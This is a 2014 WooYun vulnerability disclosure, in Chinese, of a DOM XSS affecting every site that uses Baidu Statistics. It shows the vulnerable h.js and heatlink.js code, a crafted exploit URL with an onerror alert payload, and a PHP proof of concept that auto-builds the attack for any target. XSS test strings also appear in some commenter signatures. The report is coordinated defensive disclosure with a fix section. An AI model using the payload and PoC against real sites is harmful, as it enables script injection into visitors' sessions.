漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:百度统计代码缺陷导致所有使用百度统计的网站均存在DOM XSS(以乌云主站为例说明)
相关厂商:百度
提交时间:2014-10-11 22:32
修复时间:2014-11-25 22:34
公开时间:2014-11-25 22:34
漏洞类型:xss跨站脚本攻击
危害等级:高
自评Rank:15
漏洞状态:厂商已经确认
Tags标签:
无
漏洞详情 披露状态:
2014-10-11: 细节已通知厂商并且等待厂商处理中 2014-10-13: 厂商已经确认,细节仅向厂商公开 2014-10-23: 细节向核心白帽子及相关领域专家公开 2014-11-02: 细节向普通白帽子公开 2014-11-12: 细节向实习白帽子公开 2014-11-25: 细节向公众公开
简要描述: 前前后后找了半年多时间,总算搞定了。前面发的百度统计XXE漏洞都是为了找这个漏洞得到的副产品,哈哈
详细说明: 1. 在乌云众测测试ucloud之时,发现对方使用了百度统计,调用了http://hm.baidu.com/h.js 这个文件,其中有以下一段代码:
var O = document.location.hash.substring(1), va = RegExp(c.id), wa = -1 < document.referrer.indexOf("baidu.com") ? l : n; if (O && va.test(O) && wa) { var P = document.createElement("script"); P.setAttribute("type", "text/javascript"); P.setAttribute("charset", "utf-8"); P.setAttribute("src", S + "//" + c.js + C(O, "jn") + "." + C(O, "sx") + "?" + a.a.rnd); var ga = document.getElementsByTagName("script")[0]; ga.parentNode.insertBefore(P, ga) }
这段代码里可以看到, O为地址的hash,C函数从O里获取jn参数以及sx参数,随后jn参数和sx参数进入P的src属性,而P为script对象。 也就是说,P.src="http://tongji.baidu.com/hm-web/js/jn参数.sx参数?随机数" 2. 要进入上面的代码流程,我们需要满足if (O && va.test(O) && wa)的判断,即我们需要构造合适的O参数以及wa参数,wa参数又来自于wa = -1 < document.referrer.indexOf("baidu.com") ? l : n这个判断,这2个东西都还是很好满足的,暂且不论。接着我们要考虑的是hash中的jn参数和sx参数,我们仅考虑其中一个。 如果我们控制jn参数为 ../../../xxxx.php,而xxxx.php的内容又是我们可控的,我们就可以让页面执行我们指定的JS代码了。 当然这个想法是好的,但要在一个域名下要找到这样的点似乎十分困难。 3. 对于这种情况,我们有以下几种可能的手段。 A. jsonp接口,且callback参数中的()未被过滤 B. 302跳转,且跳转的url参数未限制域名 C. 任意文件上传 D. tongji.baidu.com域名下存在一个xxxx.js,且xxxx.js的代码存在缺陷,可以导致XSS 4. 然后我们顺着这几个手段来尝试,尝试结果如下: A. tongji.baidu.com域名下未能发现jsonp的使用,因此放弃 B. tongji.baidu.com域名下的各种功能中未能发现302跳转,因此放弃 C. 找到一个任意文件上传的点,但是需要通过xxxx.php?type=a&name=11111.xxx&mmm=mmm的形式来访问,而jn参数的url中并不能使用&,具体请查看h.js中C函数的代码可知原因,不具体说明了。并且URL里多个参数均为必须,不能去掉,因此在思考很久未发现解决办法后,同样放弃。 D. 在此之前,我发现tongji.baidu.com下的JS文件大部分均使用了tangram的JS库来开发,也就是说,调用这些JS基本上是无法直接执行的,因为目标站中并没有调用tangram的主JS文件。因此之前此路也是放弃的。 5. 然而,在盯了半年之后,今天又按照D思路,打开了tongji.baidu.com,挨个功能点过去,并且抓包排查网站所调用的JS时,发现了一个似乎没有调用tangram的JS:http://tongji.baidu.com/hm-web/js/heatlink.js,在对代码进行美化处理后,在代码的最下方,我看到了location.hash,以及字符串的拼接。想想就有点小激动哦~~
var L = document.location.hash.substring(1); var K = d("cla", L); var J = d("clb", L); var I = H(E.flashId, E.flashUrl + "?" + l(8), "1", "1", "allowdomain=" + document.domain + "&cla=" + K + "&clb=" + J + "&callBack=" + E.flashCallBack);
于是马上写了一个html,调用这个JS文件,并进行了测试,成功执行代码:
6. 这样一来,我们的D思路就是实现了,总结一下,以乌云为例,我们可以构造以下url:
http://www.wooyun.org/#c12f88b5c1cd041a732dea597a5ec94c&jn=../../../../hm-web/js/heatlink.js?&cla="></object><img src="1" onerror="alert(document.domain)">
其中 #c12f88b5c1cd041a732dea597a5ec94c 这串数字来自于目标网站的统计id,该代码可以通过PHP来从目标页面自动获取。加上这串数字,是为了满足代码里的 va.test(O)判断, jn参数被指定为 ../../../../hm-web/js/heatlink.js?, 即最终 P.src="http://tongji.baidu.com/hm-web/js/../../../../hm-web/js/heatlink.js?.sx参数?随机数" 页面会调用heatlink.js,而该JS又存在DOM-XSS缺陷,会将我们指定的cla="></object><img src="1" onerror="alert(document.domain)"> 参数内容输出到DOM中,从而导致xss 为了满足 wa = -1 < document.referrer.indexOf("baidu.com") ? l : n ,我们需要让访问来源URL里带上baidu.com,这个很容易解决。从一个带有 ?baidu.com的URL跳转过去即可,具体参见漏洞证明中的url。 7. 最终我们可以编写以下PoC代码 (php):
<html> <head> <meta charset="utf-8" /> </head> <body> <?php $url=$_GET["url"]; $data=file_get_contents($url); $result=array(); if(preg_match("/hm\.baidu\.com\/h\.js%3F(\w{32})/",$data,$result)){ if($result[1]){ $cid=$result[1]; $url=preg_replace("/'/","%27",$url); $url=preg_replace("/\\\\/","%5c",$url); ?> <script> location.href='<?php echo $url?>#<?php echo $cid?>&jn=../../../../hm-web/js/heatlink.js?&cla="></object><img src="1" onerror="alert(document.domain)">'; </script> <? }else{ echo "missing c.id"; } }else{ echo "missing c.id"; } ?> </body> </html>
漏洞证明: 1. 以乌云主站为例: 访问以下URL:http://xsst.sinaapp.com/test/baidutongji.poc.php?baidu.com&url=http://www.wooyun.org/
2. IE下也是可以的,浏览器通用性好。
3. 为了证明其普遍危害,在用户列表里又找了一个用户 汽车之家
修复方案: 1. 对传入的jn参数即sx参数进行有效性判断。 2. 修复 /hm-web/js/heatlink.js中的dom xss问题
漏洞回应 厂商回应: 危害等级:高
漏洞Rank:15
确认时间:2014-10-13 11:33
厂商回复: 感谢提交,我们已经通知业务部门处理此问题。
最新状态: 暂无
漏洞评价:
评论
2014-10-11 22:34 |
0x_Jin ( 普通白帽子 | Rank:319 漏洞数:37 | 微博:http://weibo.com/J1n9999)
2014-10-11 22:35 |
phith0n ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)
2014-10-11 22:46 |
mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )
2014-10-11 22:49 |
番茄炒蛋 ( 普通白帽子 | Rank:106 漏洞数:31 | test)
2014-10-11 22:49 |
心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 严肃点~此号为虚拟小号,并不存在实体...)
2014-10-11 22:50 |
猪猪侠 ( 核心白帽子 | Rank:3224 漏洞数:254 | 你都有那么多超级棒棒糖了,还要自由干吗?)
2014-10-11 22:52 |
gainover ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)
@心伤的瘦子 = =,。死样,你这样别人还以为我拿小号自言自语了
2014-10-11 22:54 |
gainover ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)
2014-10-11 22:54 |
gainover ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)
@0x_Jin 小Jin, 咱们能不能换个口头禅。。。
2014-10-11 22:55 |
子非海绵宝宝 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)
2014-10-11 22:59 |
带馅儿馒头 ( 普通白帽子 | Rank:1278 漏洞数:143 | 心在,梦在)
2014-10-11 23:07 |
adm1n ( 普通白帽子 | Rank:216 漏洞数:66 | 只是一个渣渣而已。。。)
2014-10-11 23:08 |
xiaoL ( 普通白帽子 | Rank:361 漏洞数:67 | PKAV技术宅社区!Blog:http://www.xlixli....)
2014-10-11 23:08 |
咸鱼翻身 ( 普通白帽子 | Rank:576 漏洞数:108 )
2014-10-11 23:11 |
Coffee ( 普通白帽子 | Rank:144 漏洞数:15 | Corie, a student of RDFZ.)
2014-10-11 23:16 |
黑吃黑 ( 普通白帽子 | Rank:139 漏洞数:29 | 倚楼听风雨,淡看江湖路...)
2014-10-11 23:21 |
实习白帽子 ( 路人 | Rank:27 漏洞数:5 | 我是一个很短的介绍.)
2014-10-11 23:22 |
niliu ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)
2014-10-11 23:23 |
毕月乌 ( 普通白帽子 | Rank:120 漏洞数:16 | 猜猜我是谁?)
2014-10-11 23:28 |
Comer ( 普通白帽子 | Rank:336 漏洞数:40 | 关注安全 | 关注智能漏洞挖掘)
2014-10-11 23:29 |
BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)
2014-10-11 23:32 |
浮萍 ( 普通白帽子 | Rank:555 漏洞数:118 | 默默潜水)
2014-10-11 23:34 |
depycode ( 普通白帽子 | Rank:275 漏洞数:44 | 关注网络安全,提高技术!)
2014-10-11 23:35 |
HackPanda ( 普通白帽子 | Rank:113 漏洞数:15 | Talk is cheap,show me the shell.)
2014-10-11 23:43 |
scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)
2014-10-11 23:54 |
px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)
2014-10-12 00:21 |
秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)
2014-10-12 00:32 |
大亮 ( 普通白帽子 | Rank:306 漏洞数:65 | 慢慢挖洞)
我一直以为@心伤的瘦子写完xss教程就不在乌云了,所以问题来了:xss挖洞技术哪家强?
2014-10-12 00:40 |
zeracker ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)
2014-10-12 01:05 |
淡漠天空 ( 实习白帽子 | Rank:1113 漏洞数:142 | M:出售GOV STATE NSA CIA NASA DHS Symant...)
2014-10-12 01:21 |
袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)
2014-10-12 06:41 |
红客十年 ( 普通白帽子 | Rank:334 漏洞数:63 | 去年离职富士康,回到家中上蓝翔,蓝翔毕业...)
@淡漠天空 所以问题来了,用挖掘机搞Xss技术哪家强?
2014-10-12 07:33 |
安然意境 ( 普通白帽子 | Rank:189 漏洞数:79 | 无论是你的事业还是你的个人,可能走的过程...)
2014-10-12 09:25 |
0x_Jin ( 普通白帽子 | Rank:319 漏洞数:37 | 微博:http://weibo.com/J1n9999)
@gainover 好得 以后口头禅就换成,!!!!屌!!!!
2014-10-12 10:27 |
chopper ( 普通白帽子 | Rank:144 漏洞数:29 | 菜鸟求学,多多关照~)
2014-10-12 10:38 |
zph ( 普通白帽子 | Rank:235 漏洞数:43 )
2014-10-12 10:46 |
一只猿 ( 普通白帽子 | Rank:463 漏洞数:89 | 硬件与无线通信研究方向)
2014-10-12 10:48 |
小川 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)
2014-10-12 11:03 |
0x334 ( 普通白帽子 | Rank:171 漏洞数:35 | 漏洞无影响,已忽略~~~~~~~)
2014-10-12 11:09 |
进击的zjx ( 普通白帽子 | Rank:295 漏洞数:61 | 工作需要,暂别一段时间)
2014-10-12 11:22 |
白非白 ( 普通白帽子 | Rank:447 漏洞数:60 | ♫ Freedom - Anthony Hamilton ♫)
2014-10-12 11:24 |
Mr .LZH ( 普通白帽子 | Rank:583 漏洞数:75 | 非妹子勿扰···)
二哥那天一边炒菜,一边控制挖掘机操作电脑把xss给挖出来了。
2014-10-12 11:41 |
泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)
2014-10-12 12:03 |
GixMore ( 路人 | Rank:6 漏洞数:1 | 做个平凡的白帽子)
2014-10-12 12:14 |
s3xy ( 核心白帽子 | Rank:832 漏洞数:113 | 相濡以沫,不如相忘于江湖)
2014-10-12 13:29 |
ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)
难道这就是xsser说的你最希望哪个组件出漏洞的东西之一,牛啊
2014-10-12 13:30 |
px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)
2014-10-12 13:31 |
Guardian ( 实习白帽子 | Rank:96 漏洞数:20 | I'm from the Internet and be here to hel...)
2014-10-12 13:52 |
ki11y0u ( 普通白帽子 | Rank:104 漏洞数:23 | 好好学习,求带飞~~~~~~~~~~~~~~~~~~~~~~...)
2014-10-12 14:06 |
Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)
2014-10-12 14:34 |
B1acken ( 普通白帽子 | Rank:174 漏洞数:56 | 渣渣)
2014-10-12 15:33 |
宝-宝 ( 路人 | Rank:20 漏洞数:8 | 爱Web,也爱内核。 爱渗透,不爱暴力。爱0d...)
2014-10-12 17:38 |
围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)
2014-10-12 17:41 |
卡卡 ( 普通白帽子 | Rank:447 漏洞数:52 | <script>alert('安全团队长期招人')</scrip...)
2014-10-13 09:09 |
Moc ( 路人 | Rank:23 漏洞数:12 | 屌丝何苦为难屌丝)
2014-10-13 11:34 |
D_in ( 普通白帽子 | Rank:413 漏洞数:62 | 到我嘴里来)
2014-10-13 11:59 |
B1acken ( 普通白帽子 | Rank:174 漏洞数:56 | 渣渣)
2014-10-16 16:59 |
晏子 ( 路人 | Rank:6 漏洞数:4 | 无)
2014-10-16 17:43 |
子非海绵宝宝 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)
2014-10-16 23:49 |
鱼化石 ( 实习白帽子 | Rank:93 漏洞数:18 | 介绍不能为空)
2014-10-17 15:09 |
胡小树 ( 实习白帽子 | Rank:60 漏洞数:11 | 我是一颗小小树)
2014-10-18 17:26 |
野狼 ( 路人 | Rank:0 漏洞数:1 | CcAv TeAm成员,CCAV11站长,白帽子。)
2014-10-19 23:51 |
sco4x0 ( 实习白帽子 | Rank:31 漏洞数:13 | O_o)
2014-10-21 15:42 |
0c0c0f ( 实习白帽子 | Rank:48 漏洞数:15 | My H34rt c4n 3xploit 4ny h0les!)
2014-10-31 17:02 |
乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )
2014-11-03 11:36 |
wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)
2014-11-26 09:45 |
带我玩 ( 路人 | Rank:12 漏洞数:6 | 带我玩)
2014-11-26 10:49 |
乌托邦 ( 路人 | Rank:4 漏洞数:1 | null)
2014-11-26 12:12 |
过客 ( 实习白帽子 | Rank:42 漏洞数:13 )
2014-11-26 17:38 |
mó-wáng ( 路人 | Rank:2 漏洞数:2 | hello ,world !)
2015-04-14 17:16 |
天鱼 ( 实习白帽子 | Rank:47 漏洞数:5 | 逝去的梦)